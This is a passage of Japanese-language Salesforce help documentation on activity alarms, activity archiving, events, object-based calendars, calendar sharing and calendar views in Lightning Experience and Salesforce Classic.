[[アラーム] ウィンドウを期日別に並び替える]が選択されていない場合、[再通知]をクリックすると、期限切
れの時刻は、アラームが再度開始するスヌーズ時刻に基づいて設定されます。アラームウィンドウを閉じる
と、次回アラームが通知されたときに再度開きます。

アラームの消去
一度に 1 つ以上のアラームを消去できます。ウィンドウ内のアラームをすべて消去するには、[すべてのアラー
ムを消す] をクリックします。アラーム数が 100 を超えてから [すべてのアラームを消す] をクリックすると、
ウィンドウには追加のアラームが表示されます。

アーカイブ済みの活動

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce では、特定の条件に基づいたスケジュールで行動と ToDo がアーカイブ
されます。

1. 活動をアーカイブする条件
Salesforceでは、グリニッジ標準時 (GMT) の毎週土曜日午前 5:00 頃に 1 年が経過
した特定の行動と ToDo がアーカイブされます。

2. アーカイブ済み活動が表示される場所
Salesforce で活動がアーカイブされた後、アーカイブ済み活動は、エクスポー
トされたデータ内と Salesforce Classic の特定の場所で表示できます。Salesforce

Classic、Lightning Experience、Salesforce1 のいずれかを使用していても、活動は
アーカイブされます。ただし、アーカイブ済み活動は、エクスポートされた
データ内とSalesforce Classicでは表示できますが、Lightning ExperienceとSalesforce1

では表示できません。
3. 活動のアーカイブに関する考慮事項

Salesforce ではアーカイブ済み活動は削除されませんが、手動で削除すること
はできます。Sandbox を作成または更新したときに、アーカイブ済みの活動
はコピーされません。
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活動をアーカイブする条件

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce では、グリニッジ標準時 (GMT) の毎週土曜日午前 5:00 頃に 1 年が経過し
た特定の行動と ToDo がアーカイブされます。
Salesforce では、次のように活動がアーカイブされます。
• 終了してからの経過日数が 365 日を上回る行動
• 期日からの経過日数が 365 日を上回る完了した ToDo

• 期日がない場合、作成日からの経過日数が 365 日を上回る完了した ToDo

アーカイブ済み活動が表示される場所

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce で活動がアーカイブされた後、アーカイブ済み活動は、エクスポート
されたデータ内とSalesforce Classicの特定の場所で表示できます。Salesforce Classic、
Lightning Experience、Salesforce1 のいずれかを使用していても、活動はアーカイブ
されます。ただし、アーカイブ済み活動は、エクスポートされたデータ内と
Salesforce Classic では表示できますが、Lightning Experience と Salesforce1 では表示で
きません。
アーカイブ済みの活動は、次の場所で表示できます。
• Salesforce Classic で [活動履歴] 関連リストから [すべて表示] をクリック
• Salesforce Classic の、レコードの印刷用表示の [名前] または [関連先] 項目内
• 活動の URL (わかっている場合) を使用
• ウィークリーデータのエクスポートファイルにアクセス
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活動のアーカイブに関する考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce ではアーカイブ済み活動は削除されませんが、手動で削除することは
できます。Sandbox を作成または更新したときに、アーカイブ済みの活動はコ
ピーされません。

行動とカレンダー
Salesforce を使用して顧客、見込み客、同僚とのミーティングを追跡します。行
動から関連するレコード、フィード、ファイル、契約などへドリルダウンしま
す。レポートで行動を追跡することも可能です。

1. 行動の管理
Salesforce では、行動は、カスタマーリレーションを掌握し、商談を成立させ
るための強力なツールです。行動は、商談、リード、取引先、取引先責任者
に関連付けることができます。さらに、それらのレコード、カレンダー、レ
ポートで行動を追跡できます。

2. カレンダーを使用した Salesforce オブジェクトの日付の追跡と視覚化
今後予定されるキャンペーンまたは進行中のキャンペーンを追跡する、簡単で視覚的な方法が必要ですか?

標準オブジェクトまたはカスタムオブジェクトからカレンダーを作成します。追跡するデータを表す日付
項目を選択すれば、カレンダーのその項目にデータがカレンダー項目として表示されます。リストビュー
を適用すれば、ほとんどのカレンダーをカスタマイズできます。Salesforce には人気の高いサンプルもあり
ます。カレンダーの非表示または表示や、編集、削除を実行できます。カレンダーの作成にはいくつかの
考慮事項があります。

3. Salesforce Classic でのカレンダー共有
Salesforce Classicで他のユーザに自分のカレンダーを表示または編集するアクセス権を付与したり、自分と共
有された同僚のカレンダーを表示したりすることができます。

4. カレンダービュー
カレンダービューには、Salesforce の行動が表示されます。

5. 行動とカレンダーを使用する場合の考慮事項
Salesforce では、行動の開始日時は常に [私の設定] で選択したタイムゾーンで表示されます。ミーティング
とスケジュールの操作は、Lightning Experience と Salesforce Classic では異なります。

6. Salesforce Classic での招待とスケジュール
Salesforce Classic では、ユーザをミーティングに招待したり、ミーティングへの招集を承諾したり、Cloud

Scheduler を使用してミーティング時間を提案したりできます。また、Salesforce で Microsoft® Outlook® の行動の
予定表を作成することもできます。

関連トピック:

活動
ToDo
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行動の管理
Salesforceでは、行動は、カスタマーリレーションを掌握し、商談を成立させるための強力なツールです。行動
は、商談、リード、取引先、取引先責任者に関連付けることができます。さらに、それらのレコード、カレン
ダー、レポートで行動を追跡できます。

1. Lightning Experience での行動の管理
ホームページ、自分のカレンダーまたは自分が作成するカレンダー、Kanban ボード、活動タイムラインを
使用して、ミーティングを作成、更新、および追跡します。

2. Salesforce Classic での行動の管理
Salesforce のカレンダーを使用すれば、営業チームや営業マネージャなどのすべてのユーザが常に最新情報
を入手し、ミーティングの準備を簡単に行うことができます。Salesforceでは、自分や他のユーザのミーティ
ングと招待の返答の追跡、作成、および更新を異なる場所で行うことができます。Salesforce では行動が、
活動リストビューやカレンダービュー、Chatter フィード、行動に関連するレコード (取引先責任者や取引先
など) に表示されます。レポートで行動を追跡することも可能です。

Lightning Experience での行動の管理

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

行動を作成する
• 「行動の編集」

ホームページ、自分のカレンダーまたは自分が作成するカレンダー、Kanban ボー
ド、活動タイムラインを使用して、ミーティングを作成、更新、および追跡し
ます。
• [ホーム] ページの [今後の行動] には、カレンダーで本日スケジュールされて

いる今後のミーティングが 5 つまで表示されます。過去の行動は、時間の経
過に沿ってリストから削除されます。

• ナビゲーションメニューですべての行動を操作したり、行動を作成したりす
るには、[カレンダー] を選択します。また、標準オブジェクトやカスタムオ
ブジェクトから他のカレンダーを作成します。追跡する日付項目を選択する
と、カレンダーのその項目にカレンダー項目としてデータが表示されます。
行動カレンダーを他のユーザと共有することや、他のユーザを行動に招待す
ることはできず、作成したカレンダーを同僚が登録することもできません。

• Kanban ボードでは、活動予定が存在しない商談にはアラートが表示されま
す。行動を作成するには、黄色の三角形をクリックします。

• 活動タイムラインを使用して、商談、リード、取引先、または取引先責任者
の今後および過去の行動を監視したり更新したりします。

• 活動レポートを使用して、Salesforce 組織のロール階層が自分より下位のユーザが所有する行動を参照しま
す。

メモ: 行動を削除しなくても、行動から取引先責任者やレコードを削除できます。たとえば、取引先
責任者 A と取引先責任者 B に関連付けられている行動を、取引先責任者 A のみに関連付けるとします。
この場合、行動を削除するのではなく、取引先責任者 B を [名前] 項目から削除します。
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Salesforce Classic での行動の管理

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

招待者が関連する行動が
使用できないエディショ
ン: Personal Edition

ユーザ権限

行動を作成する
• 「行動の編集」

Salesforce のカレンダーを使用すれば、営業チームや営業マネージャなどのすべ
てのユーザが常に最新情報を入手し、ミーティングの準備を簡単に行うことが
できます。Salesforce では、自分や他のユーザのミーティングと招待の返答の追
跡、作成、および更新を異なる場所で行うことができます。Salesforce では行動
が、活動リストビューやカレンダービュー、Chatter フィード、行動に関連する
レコード (取引先責任者や取引先など) に表示されます。レポートで行動を追跡
することも可能です。

行動の追跡
デモを見る: 電話、メール、ミーティングを追跡する方法
自分または他のユーザに属する行動は次の場所で追跡できます。活動リスト
ビューを表示するには、[ホーム] タブまたはカレンダービューにある をク
リックするか、カレンダーの日表示または週表示に移動します。
自分が所有する行動

• [ホーム] タブの [カレンダー] セクション
• 活動リストビュー: 既存のリストビューを選択するか、新しいビューをカスタマイズします。
• Chatter フィード: 投稿、コメント、更新を追跡する行動をフォローします。

カレンダーを自分と共有している人が所有する行動
マルチユーザカレンダービュー

自分が他のユーザに割り当てた行動
• [私の代理活動] リストビュー
• 活動レポート

組織の階層で自分より下位のユーザが所有する行動
• [私のチームの活動] リストビュー
• 活動レポート

近日開催予定のイベント
• カレンダービュー
• [近日開催予定のイベント] リストビュー
• 行動に関連するレコードの [活動予定] 関連リスト

過去の行動
• カレンダービュー
• [私の活動] リストビュー
• 行動に関連するレコードの [活動履歴] 関連リスト

別のレコード (取引先責任者や取引先など) に関連する行動
• 他のレコードの詳細ページの [活動予定] または [活動履歴] 関連リスト
• 自分の Chatter フィードおよび他のレコードの Chatter フィード
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• 活動レポート

行動の詳細の表示
カレンダービュー、活動リストビュー、関連リスト、[ホーム] タブでは、次の 2 通りの方法で行動の詳細を表
示できます。
• 行動の件名にマウスポインタを置く。
• 件名をクリックする。
行動の詳細ページで、定期的な行動 ( ) のうちの 1 つの詳細を表示するには、[行動を参照] サブタブを選択し
ます。定期的な行動の詳細を表示するには、[定期的な行動の参照] サブタブを選択します。

 — 招待者がある行動を示します。

行動の作成
[ホーム] タブの場合

[ホーム] タブの [カレンダー] で、[新規行動] または [新規ミーティング要請] をクリックします。
Chatter フィードの場合

取引先責任者などのレコードのフィードに行動を作成すると、Salesforce が行動をレコードに自動的に関連
付けます。

サイドバーの場合
Salesforce のサイドバーでは、[新規作成] ドロップダウンリストで [行動] を選択します。

別のレコードの詳細ページの場合
[活動予定] 関連リストで、[新規行動]または [新規ミーティング要請]をクリックします。Salesforceが行動ま
たはミーティング要請をレコードに自動的に関連付けます。

被招集者が関連する行動の詳細ページの場合
1 人以上を招待した行動の詳細ページで、[コピー] をクリックします。定期的な行動ではなく、招待者が 1

人以上いる行動はコピーできます。
カレンダービューの場合

• [新規行動] をクリックします。
• 日表示で、時間 (9:00 AM など) をクリックします。
• 日表示または週表示で、時間枠をダブルクリックします。定期的な行動または人を招待する行動は、ダ

ブルクリックして作成することができません。ダブルクリックしても新しい行動が開かない場合は、ク
リック作成イベントを有効にするようシステム管理者に依頼してください。

• 週表示または月表示で、 をクリックします。
活動リストビュー ( ) の場合

リストビューで、[新規行動] をクリックします。
取引先責任者、リード、その他のレコードのリストビューの場合

取引先責任者、リード、その他のレコードのリストビューで、ページ下部にある をクリックし、週表示
のカレンダービューをページに追加します。リストビューのレコードを下方のカレンダーの時間枠にドラッ
グして、レコードに関連する行動を作成します。 が表示されない場合は、ドラッグアンドドロップによ
るスケジュールを有効にするよう Salesforce システム管理者に依頼してください。
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メモ: タイムゾーンが異なる人々とのミーティングをスケジュールする場合、カレンダーには他の人の空
き時間と予定のある時間が自分のタイムゾーンで表示されます。個々のユーザの [タイムゾーン]設定 (個
人情報ページで指定) によって、Salesforce 組織の [タイムゾーンのデフォルト値] 設定が上書きされます。

行動の更新
レポートを除き、行動の詳細を参照可能な場所であればどこからでも、編集する権限のある行動を編集できま
す。
行動は、次のような複数の方法で編集できます。
• 行動のスケジュールを変更するには、カレンダービューで行動を異なる時間枠にドラッグします。行動の

件名行にマウスを置いてからドラッグします。行動が定期的な行動 ( ) に含まれる場合、ドラッグしたそ
の行動 1 つだけが変更され、定期的な行動全体は変更されません。

• 活動リストビュー、[活動予定] 関連リスト、または [活動履歴] 関連リストで行動の横にある [編集]をクリッ
クします。行動の詳細ページが開きます。

• カレンダービュー、活動リストビュー、関連リスト、[ホーム] タブに移動します。行動の件名にマウスポ
インタを置きます。小さいウィンドウが開き、編集オプションが表示されます。

• 他の人と共同でミーティングの日時を選択する場合は、Cloud Scheduler を使用します。ミーティングの日時
を確認すると、ミーティングが Salesforce の行動に変換されます。これで、他の行動と同様に編集や削除が
できます。

カレンダーを使用した Salesforce オブジェクトの日付の追跡と視覚化

エディション

Lightning Experience で使用
可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

今後予定されるキャンペーンまたは進行中のキャンペーンを追跡する、簡単で
視覚的な方法が必要ですか? 標準オブジェクトまたはカスタムオブジェクトから
カレンダーを作成します。追跡するデータを表す日付項目を選択すれば、カレ
ンダーのその項目にデータがカレンダー項目として表示されます。リストビュー
を適用すれば、ほとんどのカレンダーをカスタマイズできます。Salesforce には
人気の高いサンプルもあります。カレンダーの非表示または表示や、編集、削
除を実行できます。カレンダーの作成にはいくつかの考慮事項があります。

1. カレンダーの作成
Salesforce で標準オブジェクトまたはカスタムオブジェクトに基づいてカレンダーを作成する手順について
説明します。

2. 商談完了日のカレンダーの作成
商談のスケジュールされた完了予定日をすべて一目で確認します。

3. ToDo 期日のカレンダーの作成
ToDo の期日を表示するカレンダーを作成します。

4. ダイレクトメールキャンペーンのカレンダーの作成
すべてのダイレクトメールキャンペーンの概要を視覚的に表示します。

5. SLA 別にオープンケースを表示するカレンダーの作成
オープンケースを監視し、サービスレベル契約への準拠を向上します。
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6. Salesforce オブジェクトから作成されたカレンダーに関する考慮事項
Salesforceオブジェクトから作成されたカレンダーに関する考慮事項として、リストビュー絞り込みのサポー
ト、表示できる項目数の制限、カレンダーへの登録がサポート外であること、および標準オブジェクトの
サポートがあります。

カレンダーの作成

エディション

Lightning Experience で使用
可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforceで標準オブジェクトまたはカスタムオブジェクトに基づいてカレンダー
を作成する手順について説明します。
1. カレンダーの作成を開始します。

2. カレンダーの基準となるオブジェクトを選択します。
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3. カレンダーの表示内容を決定する項目を選択します (1、2、3)。
必要に応じて、リストビューを選択してカレンダー項目を絞り込みます (4)。

カレンダーに表示される項目は、選択した日付項目によって異なります。
(日付) 項目

(日付) が含まれる日付項目の名前。(日付) 項目を選択すると、カレンダーの上部に項目が (終日の項目と
して) 表示されます。
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(日付/時間) 項目

(日付/時間) が含まれる他の日付項目の名前。[開始用の項目] で (日付/時間) 項目を選択すると、カレン
ダーの時間枠に項目が表示されます。[終了用の項目] (省略可能) でも項目を選択し、項目の所要時間が
24 時間を超える場合、カレンダーの上部に項目が (終日の項目として) 表示されます。

開始項目と終了項目の選択

[終了用の項目] は省略可能です。この項目を使用する場合、[開始用の項目] と同じ型の項目を選択する
必要があります。たとえば、一方で (日付) 項目を選択した場合、他方で (日付/時間) 項目を選択すること
はできません。不正な順序 (終了日が開始日より前) で日付が生成される項目を選択すると、カレンダー
を保存するときに Salesforce にエラーメッセージが表示されます。

各カレンダーの色は、その基準となるオブジェクトの色になります (カスタムオブジェクトにテーマがある場
合、そのテーマによってカレンダーの色が決まります)。個々のカレンダーを表示または非表示にできます
(Salesforce の行動カレンダーも非表示にできますが、その場合は設定できません)。
ユーザがそのビューの合計項目数制限 (150 項目) を超える項目数が含まれるカレンダーを選択したとします。
Salesforce にアラートが表示され、他のカレンダーの項目は非表示になります。

関連トピック:

Salesforce オブジェクトから作成されたカレンダーに関する考慮事項
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商談完了日のカレンダーの作成

エディション

Lightning Experience で使用
可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

商談のスケジュールされた完了予定日をすべて一目で確認します。
次のように選択します。
オブジェクト

商談
カレンダー名

成立商談
開始用の項目

完了予定日 (日付)

終了用の項目
なし

条件の適用 (省略可能)

私の商談、または他のリストビュー
表示する項目名

名前
これで、すべての商談の完了予定日を確認するカレンダーができました。

関連トピック:

カレンダーの作成

ToDo 期日のカレンダーの作成

エディション

Lightning Experience で使用
可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

ToDo の期日を表示するカレンダーを作成します。
まず、Salesforce のシステム管理者に ToDo レイアウトの [期日] 項目をカスタムの
[日付/時間] 項目に置き換えるように依頼します。次のように選択します。
オブジェクト

ToDo

カレンダー名
ToDo の期日

開始用の項目
期限日時 (日付/時間)

終了用の項目
なし

条件の適用 (省略可能)

私の ToDo

表示する項目名
件名

これで、Salesforce の行動と ToDo 期日を確認できます。
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ダイレクトメールキャンペーンのカレンダーの作成

エディション

Lightning Experience で使用
可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

すべてのダイレクトメールキャンペーンの概要を視覚的に表示します。
次のように選択します。
オブジェクト

キャンペーン
カレンダー名

ダイレクトメール
開始用の項目

開始日 (日付)

終了用の項目
終了日 (日付)

条件の適用 (省略可能)

すべての有効なダイレクトメールキャンペーン
表示する項目名

カレンダーに各キャンペーンの名前を表示する場合: 名前
カレンダーに各キャンペーンの所有者を表示する場合: 所有者

これで、名前または所有者ごとにダイレクトメールキャンペーンを視覚的に追跡できます。

関連トピック:

カレンダーの作成

SLA 別にオープンケースを表示するカレンダーの作成

エディション

Lightning Experience で使用
可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

オープンケースを監視し、サービスレベル契約への準拠を向上します。
次のように選択します。
オブジェクト

ケース
カレンダー名

SLA の残り時間
開始用の項目

オープン日 (日付)

終了用の項目
カスタム数式項目、オープン (日付) + 36 時間 (SLA 期限切れ)

条件の適用 (省略可能)

すべてのオープンケース、または他のリストビュー
表示する項目名

顧客名
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これで、SLA を満たしているかどうかを一目で確認できます。

関連トピック:

カレンダーの作成
数式項目の作成

Salesforce オブジェクトから作成されたカレンダーに関する考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce オブジェクトから作成されたカレンダーに関する考慮事項として、リ
ストビュー絞り込みのサポート、表示できる項目数の制限、カレンダーへの登
録がサポート外であること、および標準オブジェクトのサポートがあります。
リストビューの絞り込み

行動または ToDo オブジェクトに基づくカレンダーでは、リストビューを絞
り込めません。他のオブジェクトから作成されたカレンダーでは、[私の] お
よび [すべて] で絞り込まれたリストビューはサポートされますが、[私のチー
ム] で絞り込まれたリストビューはサポートされません。

カレンダー項目の制限
ユーザは日表示または週表示で合計 150 個までのカレンダー項目を表示できます。この制限には、ユーザ
が作成したカレンダーでの Salesforce 行動と項目が含まれます。ユーザがそのビューの合計数制限を超える
項目数が含まれるカレンダーを選択したとします。Lightning Experience にアラートが表示され、他のカレン
ダーの項目は非表示になります。

カレンダーへの登録
他のユーザが作成したカレンダーへは登録できません。各カレンダーにはその作成者のみアクセスできま
す。

サポートされる標準オブジェクト

Task価格表支持取引先
トピック商品行動納入商品
Userレポート休日受け取ったバッジ
ユーザプロビジョニング
要求

スキル
スキルユーザ

アイデア
リード

キャンペーン
ケース

Work.com バッジソーシャル人格商談取引先責任者
作業指示ソーシャル投稿注文契約
Work.com 感謝ソリューションパートナーメール

詳細は、「Lightning Experience にない機能」の「活動: 行動とカレンダーのみ」 (ページ245)を参照してください。

関連トピック:

カレンダーの作成
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Salesforce Classic でのカレンダー共有

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

Salesforce Classicで他のユーザに自分のカレンダーを表示または編集するアクセス
権を付与したり、自分と共有された同僚のカレンダーを表示したりすることが
できます。
デモビデオを見る: Who Sees What: 組織の共有設定

1. Salesforce Classic での自分のカレンダーの共有
同僚、非公開グループ、公開グループ、ロール、またはロール & 下位ロール
に対して、Salesforce Classic で自分のカレンダーを表示または編集するための
アクセス権を付与できます。

2. Salesforce Classic での同僚のカレンダーの表示
同僚のカレンダーを共有している場合、そのカレンダーを Salesforce Classic で表示できます。

関連トピック:

Salesforce Classic の活動アラーム
活動へのアクセス

Salesforce Classic での自分のカレンダーの共有

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

行動を作成する
• 「行動の編集」

同僚、非公開グループ、公開グループ、ロール、またはロール & 下位ロールに
対して、Salesforce Classicで自分のカレンダーを表示または編集するためのアクセ
ス権を付与できます。
デモビデオを見る: Who Sees What: 組織の共有設定
他のユーザとカレンダーを共有するためのオプションは、Salesforce システム管
理者が設定した組織全体のカレンダー共有レベルに応じて異なります。これら
のオプションにより、カレンダーの共有範囲を広くできますが、制限すること
はできません。カレンダー共有設定は、カレンダー項目の表示に影響しますが、
行動詳細ページへのアクセス権は付与しません。
自分が所有するレコードに関連付けられた行動は、ロール階層で自分より上位
にある全員に表示されます。
1. 個人設定から、[クイック検索] ボックスに「カレンダー共有」と入力し、[カ

レンダー共有] を選択します。
2. カレンダーを他のユーザと共有するには、[追加]をクリックします。活動をカレンダーに表示するユーザ、

ロール、またはグループを選択します。
3. カレンダーの共有方法を指定します。次のいずれかを選択します。

詳細を非表示
同僚には、所定の時間が空いているかどうかが表示されますが、カレンダーの行動の種類についてそれ
以外の情報は表示されません。
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詳細の非表示、新規行動の追加
同僚には、所定の時間が空いているかどうかが表示されますが、行動の詳細は表示されません。同僚が
カレンダーに行動を追加できます。

詳細の表示
同僚に、カレンダーの行動についての詳細情報が表示されます。

詳細の表示、新規行動の追加
同僚には、カレンダーの行動についての詳細情報が表示され、同僚がカレンダーに行動を追加できま
す。

フルアクセス
同僚に、カレンダーの行動についての詳細情報が表示され、同僚が行動を追加し、既存の行動を編集で
きます。

関連トピック:

活動へのアクセス

Salesforce Classic での同僚のカレンダーの表示

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

同僚のカレンダーを共有している場合、そのカレンダーをSalesforce Classicで表示
できます。
行動詳細の表示、行動の編集、または行動の作成のためのアクセス権は、カレ
ンダーによって異なります。特定のカレンダーへのアクセス権は、Salesforce シ
ステム管理者による組織の設定と、同僚が選択したカレンダー共有オプション
によって異なります。
ロール階層内で自分より下位のユーザが所有するすべての行動を表示できます。
• 日表示、週表示、または月表示で、カレンダー上部の名前の横にある [変更]

をクリックし、表示するカレンダーを選択します。

カレンダービュー
カレンダービューには、Salesforce の行動が表示されます。

1. Lightning Experience のカレンダービュー
カレンダーには、営業時間外に発生する行動などSalesforceで所有するすべての行動が表示されます。Salesforce

オブジェクトから作成したカレンダーの日付項目には、データがカレンダー項目として表示されます。日
表示または週表示で行動を表示、作成、編集できます。

2. Salesforce Classic のカレンダービュー
カレンダービューには、自分のカレンダーと同僚のカレンダーが未完了 ToDo のリストビューと共に表示さ
れます。[ホーム] タブの [カレンダー] セクションには、今後の行動、その月の日付ピッカー、他のカレン
ダーへのリンク、活動ビューが表示されます。カレンダーを同僚と共有し、カレンダーと ToDo リストを印
刷できます。
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Lightning Experience のカレンダービュー

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

カレンダーには、営業時間外に発生する行動など Salesforce で所有するすべての
行動が表示されます。Salesforce オブジェクトから作成したカレンダーの日付項
目には、データがカレンダー項目として表示されます。日表示または週表示で
行動を表示、作成、編集できます。

関連トピック:

Lightning Experience で行動およびカレンダーを使用する場合の考慮事項

Salesforce Classic のカレンダービュー

エディション

使用可能なエディション:
Salesforce Classic。

使用可能なエディション:
Contact Manager Edition お
よび Group Edition を除く
すべてのエディション

カレンダービューには、自分のカレンダーと同僚のカレンダーが未完了 ToDo の
リストビューと共に表示されます。[ホーム] タブの [カレンダー] セクションに
は、今後の行動、その月の日付ピッカー、他のカレンダーへのリンク、活動
ビューが表示されます。カレンダーを同僚と共有し、カレンダーと ToDo リスト
を印刷できます。

ビューを選択または切り替える場所
カレンダービューには次の場所でアクセスします。
• [ホーム] タブ下部の [カレンダー] セクション ([ホーム] タブに [カレンダー] セ

クションが表示されない場合は、Salesforce システム管理者にホームページのレイアウトをカスタマイズす
るように依頼してください)

• Salesforceシステム管理者がショートカットを有効にしている場合は、サイドバーにある [カレンダー] ショー
トカット (最後に使用したカレンダービューが開きます)

• 行動または ToDo の詳細ページ
• 活動のリストビュー
どのビューでも、表示および編集権限のある行動にマウスポインタを置くと、行動の詳細と実行可能なアク
ションがフロート表示されます。フロート表示の内容は、Salesforce システム管理者が設定します。

日、週、月、活動のビュー
カレンダービューには、行動が次のように表示されます。
• 1 日分: または [今日]

• を使用して選択した日付
• 1 週間分: または [今週]

• 週表示 (週末ありまたは週末なし)

• 1 か月分: または [今月]

• 週表示または月表示でクリックして選択した日の分
• 活動 (行動または ToDo) のリスト: 
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カレンダービュー内で、異なるビューのアイコンをクリックしてビューを切り替えることができます。週表示
または月表示で日付をクリックすると、その日の日表示になります。

シングルユーザビューまたは他のカレンダーのビュー
シングルユーザビュー ( ) には、次のいずれかについて 1 か月の行動が最大 1,000 件表示されます。
• 自分のカレンダー
• 他のユーザのカレンダー (Personal Edition では使用できません)

• 公開カレンダー
• リソースカレンダー
ユーザまたはカレンダーを切り替えるには、[変更]をクリックします。他のユーザが自分のカレンダーを表示
できるようにするには、[私のカレンダーの共有]をクリックします。ビューを自分のカレンダーにリセットす
るには、[私のカレンダーに戻る] をクリックします。

メモ: 別のレコードに関連する活動は、組織の共有設定で階層の使用を指定しているかどうかに関係な
く、ロール階層で活動の所有者よりも上位のユーザに表示されます。

ユーザのカレンダーで、すべてのシングルユーザの日表示と週表示には、ユーザの未完了 ToDo リストがカレ
ンダーと共に表示されます。ドロップダウンリストで他のビューを選択できます (期限切れ ToDo、今日が期日
の ToDo など)。
デフォルトでは、カレンダーの日表示と週表示には、[個人情報] ページで [始業時間]と [終業時間]として指
定された時間範囲が表示されます。
Salesforce for Outlook を使用して行動を Outlook から同期する場合、未解決の行動 (同期対象の Outlook の行動で、
Salesforce レコードに未割り当てのもの) のリストにリンクしているカレンダーの上部にバナーが表示される場
合があります。

マルチユーザビュー
マルチユーザビュー ( ) には、複数のユーザのカレンダーと活動が一緒に表示されます。[ビュー]ドロップダ
ウンリストから既存のユーザリストビューを選択するか、[新規ビューの作成] をクリックします。
ビューには、各ユーザの対応可能状況が表示されます。ビューの凡例には、「予定あり」と「外出中」の時間
が表示されます。行動が空き時間を表示するように設定されている場合、マルチユーザビューにはその時間は
表示されません。
マルチユーザビューでは、次の制限を考慮してください。
• マルチユーザビューではドラッグアンドドロップ編集は使用できません。
• マルチユーザカレンダーは、パートナーポータルでは動作が異なります。たとえば、パートナーが参照で

きるのは自分の社内のユーザとチャネルマネージャのカレンダーの行動に限定されます。

印刷用に表示
ビューを選択して [印刷用に表示] をクリックした後、ビューを印刷前に調整します。
• 印刷用表示をプリンタに送信するには、[このページを印刷] をクリックします。
• 印刷前に日付を変更するには、 、 、[今日]、[今週]、[今月] のいずれかをクリックします。
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• 日表示または週表示では、必要に応じて異なる ToDo リストビューを選択します。
• マルチユーザビューでは、[並び替え基準]ドロップダウンリストで [時間]を選択するとすべてのユーザの

行動を 1 つのカレンダーに表示できます。または、[ユーザ] を選択して、ユーザごとに別個のカレンダー
を表示できます。

行動とカレンダーを使用する場合の考慮事項
Salesforceでは、行動の開始日時は常に [私の設定] で選択したタイムゾーンで表示されます。ミーティングとス
ケジュールの操作は、Lightning Experience と Salesforce Classic では異なります。

1. Lightning Experience で行動およびカレンダーを使用する場合の考慮事項
Lightning Experience で行動およびカレンダーを使用する場合、行動およびその他のカレンダー項目の作成、
更新、所有に関する次の考慮事項に留意してください。

2. Salesforce Classic で行動およびカレンダーを使用する場合の考慮事項
Salesforce Classicで行動を作成、更新、所有したり、他のユーザを行動に招待したりする場合の考慮事項は、
次のとおりです。

Lightning Experience で行動およびカレンダーを使用する場合の考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

Lightning Experience で行動およびカレンダーを使用する場合、行動およびその他
のカレンダー項目の作成、更新、所有に関する次の考慮事項に留意してくださ
い。
営業時間

カレンダーには、個人設定で選択した営業時間は表示されません。
定期的な行動は作成できない

定期的な行動の作成または編集はできません。ただし、同僚がSalesforce Classic

を使用して一連の定期的な行動を作成した場合、Lightning Experienceで一連の
行動を表示および編集できます。

Outlook の予定表
Salesforce の行動から Microsoft® Outlook® の予定表を作成できません。

行動への招待
ミーティングへのユーザの招待、行動の更新、行動の受け入れまたは拒否、行動への招待者のリストの表
示を行うことはできません。ただし、他のユーザがSalesforce Classicでミーティングを作成して招待した場合
は、カレンダーにその招待が表示されます。

カレンダービュー
Lightning Experience のカレンダーには月表示や印刷表示がありません。週末を非表示にすることはできませ
ん。

リストビューの絞り込み
行動または ToDo オブジェクトに基づくカレンダーでは、リストビューを絞り込めません。他のオブジェク
トから作成されたカレンダーでは、[私の] および [すべて] で絞り込まれたリストビューはサポートされます
が、[私のチーム] で絞り込まれたリストビューはサポートされません。
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カレンダー項目の制限
ユーザは日表示または週表示で合計 150 個までのカレンダー項目を表示できます。この制限には、ユーザ
が作成したカレンダーでの Salesforce 行動と項目が含まれます。ユーザがそのビューの合計数制限を超える
項目数が含まれるカレンダーを選択したとします。Lightning Experience にアラートが表示され、他のカレン
ダーの項目は非表示になります。

カレンダー共有と所有権
カレンダーをマネージャや他の同僚と共有することはできません。ロール階層のマネージャは、レポート
を使用してロール階層内で自分より下位のユーザが所有する行動を参照できますが、編集することはでき
ません。ミーティングを所有できるユーザは 1 人のみです。ミーティングを他のユーザに再割り当てする
と、カレンダーに表示されなくなります。

公開カレンダーおよびリソースカレンダー
公開カレンダーやリソースカレンダーは作成できません。また、Salesforce Classic で作成された公開カレン
ダーやリソースカレンダーは表示できません。

Cloud Scheduler

